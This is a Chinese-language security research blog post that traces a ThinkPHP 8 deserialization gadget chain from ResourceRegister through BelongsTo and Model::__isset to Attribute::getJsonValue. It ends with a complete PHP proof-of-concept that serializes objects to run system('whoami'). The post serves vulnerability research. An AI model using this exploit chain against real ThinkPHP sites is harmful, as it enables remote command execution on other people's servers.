前言
前段时间看到thinkphp CVE-2024-44902和ThinkPHP8反序列化调用链分析这两篇文章,今天突然兴起,想再测试下之前自动化检测POP链工作的效果,看看有没有什么新的利用链(很遗憾并没有),不过还是有些额外的利用点,在这里分享一下(建议先过一下原有分析)。
__call
在此处gadget中:
1 2 3 4
| protected function register() { $this->registered = true; $this->resource->parseGroupRule($this->resource->getRule()); }
|
原文提到:
getRule方法是无参的,没有办法控制__call方法中的$args参数
其实这里我们还是可以耐心寻找下的,从而找到一些新的利用点
比如Manager#__call
方法
1 2 3 4 5 6 7
| public function __call($method, $args) { if ($this->query) { $this->baseQuery(); ...... } }
|
我们选择子类为BelongsTo
类,即可走入
1 2 3 4 5 6
| protected function baseQuery(): void { if (empty($this->baseQuery)) { if (isset($this->parent->{$this->foreignKey})) { ...... } }
|
在$this->parent->{$this->foreignKey}
触发__isset
方法,来到Model#__isset
1 2 3
| public function __isset(string $name): bool { return !is_null($this->getAttr($name)); }
|
这里就可以走到经典的Attribute#getJsonValue
实现方法调用了,为了方便理解我们还是跟一下,getAttr
方法内容如下:
1 2 3 4 5 6 7 8 9 10 11
| public function getAttr(string $name) { try { $relation = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $relation = $this->isRelationAttr($name); $value = null; }
return $this->getValue($name, $value, $relation); }
|
其中$name
,$value
都是我们可控的,继续看getValue
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| protected function getValue(string $name, $value, bool|string $relation = false) { $fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->get)) { return $this->get[$fieldName]; }
$method = 'get' . Str::studly($name) . 'Attr'; if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($relation); }
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) { $value = $this->getJsonValue($fieldName, $value); } ...... } $fieldName`其实就是`$name`,这里也是很容易走到`getJsonValue protected function getJsonValue(string $name, $value) { if (is_null($value)) { return $value; }
foreach ($this->withAttr[$name] as $key => $closure) { if ($this->jsonAssoc) { $value[$key] = $closure($value[$key], $value); } else { $value->$key = $closure($value->$key, $value); } }
return $value; }
|
最终在$closure($value[$key], $value)
即可进行任意方法调用
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php namespace think\route { class ResourceRegister { public $resource;
public function __construct($func, $param) { $this->resource = new \think\model\relation\BelongsTo($func, $param); } } }
namespace think\model\relation { class BelongsTo { protected $query = true; protected $parent; protected $foreignKey;
public function __construct($func, $param) { $this->parent = new \think\model\Pivot($func, $param); $this->foreignKey = "key"; } } }
namespace think\model\concern { trait Attribute { private $data; private $withAttr; protected $json; protected $jsonAssoc; protected $strict=true; } }
namespace think { abstract class Model { use \think\model\concern\Attribute;
private $data; private $withAttr; protected $json; protected $jsonAssoc;
function __construct($func, $param) { $this->data = ["key" => ["key" => $param]]; $this->jsonAssoc = true; $this->withAttr = ["key" => ["key" => $func]]; $this->json = ["key"]; } } }
namespace think\model { use \think\Model;
class Pivot extends Model { } }
namespace { $exp = new think\route\ResourceRegister("system", "whoami"); echo urlencode(serialize($exp)); }
|
后话
后来发现在这篇文章中同样有个Convertion#__toString
到Attribute#getJsonValue
的链,也是可以了解一下的(反序列化gadget chain居然还能申CVE也是神奇